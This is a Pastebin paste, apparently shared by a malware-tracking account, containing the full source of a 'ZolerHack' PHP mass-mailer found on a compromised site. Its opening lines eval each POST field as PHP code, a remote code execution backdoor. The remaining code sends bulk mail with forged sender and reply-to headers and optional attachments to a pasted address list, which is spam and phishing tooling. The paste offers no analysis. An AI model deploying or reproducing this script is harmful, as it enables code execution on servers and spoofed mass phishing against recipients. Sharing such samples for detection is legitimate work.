Advertisement
MalwareFinder

PHP MAILER script discovered

Mar 23rd, 2018
585
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.92 KB | None | 0 0
  1. <?
  2. foreach($_POST as $nombre_campo => $valor){
  3. $asignacion = "\$" . $nombre_campo . "='" . $valor . "';";
  4. eval($asignacion);
  5. }
  6. ?>
  7. <html>
  8. <head>
  9. <title>PHP Mailer (ZOLERHACK)</title>
  10. <center><img src="http://fotos.subefotos.com/494b4b77f8f2bef17ebb0f02cbba7686o.png">
  11. <!-- Just Style (Begin) -->
  12. <style type="text/css">
  13. body {
  14. background-color:#000000;
  15. font-family:courier;
  16. font-size:12;
  17. color:#00ff00;
  18. }
  19. input {
  20. background-color:#FFFFFFF;
  21. font-family:arial;
  22. font-size:12;
  23. color:#000000;
  24. }
  25. textarea {
  26. background-color:#FFFFFF;
  27. font-family:arial;
  28. font-size:12;
  29. color:#000000;
  30. }
  31. </style>
  32. <!-- Just Style (End)) --> </head>
  33. <body bgcolor=#FFFFFF text=#00ff00 link=#00ff00 alink=#00ff00 vlink=#00ff00>
  34.  
  35. <?
  36. if ($action=="send") {
  37. $message = urlencode($message);
  38. $message = ereg_replace("%5C%22", "%22", $message);
  39. $message = urldecode($message);
  40. $message = stripslashes($message);
  41. $subject = stripslashes($subject);
  42. }
  43. ?>
  44. <form name="form1" method="post" action="?" enctype="multipart/form-data">
  45. <pre>
  46. Tu Email : <input type="text" name="from" value="<? print $from; ?>" size="30">
  47. Tu Nombre : <input type="text" name="realname" value="<? print $realname; ?>" size="30">
  48. Replica Para: <input type="text" name="replyto" value="<? print $replyto; ?>" size="30">
  49. Adjuntar : <input type="file" name="file" size="30">
  50. Asunto : <input type="text" name="subject" value="<? print $subject; ?>" size="30">
  51. Mensaje : <textarea name="message" cols="50" rows="6"><? print $message; ?></textarea>
  52. <input type="radio" name="contenttype" value="plain"> Plain <input type="radio" name="contenttype" value="html" checked> HTML
  53. Correo(s) : <textarea name="emaillist" cols="50" rows="6"><? print $emaillist; ?></textarea>
  54. </pre>
  55.  
  56. <input type="hidden" name="action" value="send">
  57. <input type="submit" value="Enviar Correo">
  58. </form>
  59.  
  60. <center> ZolerHack No se hace responsable del mal uso que se el usuario le de a la herramienta</center>
  61.  
  62. <?
  63. if ($action=="send") {
  64. $allemails = split("\n", $emaillist);
  65. $numemails = count($allemails);
  66. #Open the file attachment if any, and base64_encode it for email transport
  67. if ($file_name) {
  68. @copy($file, "./$file_name") or die("File cannot Uploaded to Server");
  69. $content = fread(fopen($file,"r"),filesize($file));
  70. $content = chunk_split(base64_encode($content));
  71. $uid = strtoupper(md5(uniqid(time())));
  72. $name = basename($file);
  73. }
  74. for($x=0; $x<$numemails; $x++){
  75. $to = $allemails[$x];
  76. if ($to) {
  77. $to = ereg_replace(" ", "", $to);
  78. $message = ereg_replace("&email&", $to, $message);
  79. $subject = ereg_replace("&email&", $to, $subject);
  80. print "Sent to $to";
  81. flush();
  82. $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
  83. $header .= "MIME-Version: 1.0\r\n";
  84. if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  85. if ($file_name) $header .= "--$uid\r\n";
  86. $header .= "Content-Type: text/$contenttype\r\n";
  87. $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  88. $header .= "$message\r\n";
  89. if ($file_name) $header .= "--$uid\r\n";
  90. if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  91. if ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  92. if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
  93. if ($file_name) $header .= "$content\r\n";
  94. if ($file_name) $header .= "--$uid--";
  95. mail($to, $subject, "", $header);
  96. print " ---> Sent (<b>OK</b>) <br>";
  97. flush();
  98. }
  99. }
  100. }
  101. ?>
  102. </body>
  103. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement